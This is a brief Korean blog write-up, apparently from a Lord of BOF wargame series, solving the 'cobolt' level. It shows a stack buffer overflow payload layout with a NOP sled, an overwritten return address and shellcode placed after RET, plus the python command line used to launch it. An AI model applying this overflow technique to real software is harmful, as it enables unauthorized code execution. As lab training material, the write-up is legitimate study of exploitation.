버퍼에 쉘코드를 넣을 만큼의 충분한 공간이 없으므로, 쉘코드를 RET 뒤에 넣기로 했다.
"\x90"*20 + RET(4) + "\x90"*200 + SHELLCODE(25)
PAYLOAD
./cobolt `python -c 'print "\x90"*20 + [NOP 슬라이드 주소] + "\x90"*200 + SHELLCODE'`
hacking exposed
'Wargame > LOB(끝)' 카테고리의 다른 글
orc -> wolfman (0) | 2015.01.28 |
---|---|
goblin -> orc (0) | 2015.01.28 |
cobolt -> goblin (0) | 2015.01.28 |
Stack Frame Pointer Overflow (1) | 2015.01.22 |
gate -> gremlin (gdb 기초 사용법) (0) | 2015.01.22 |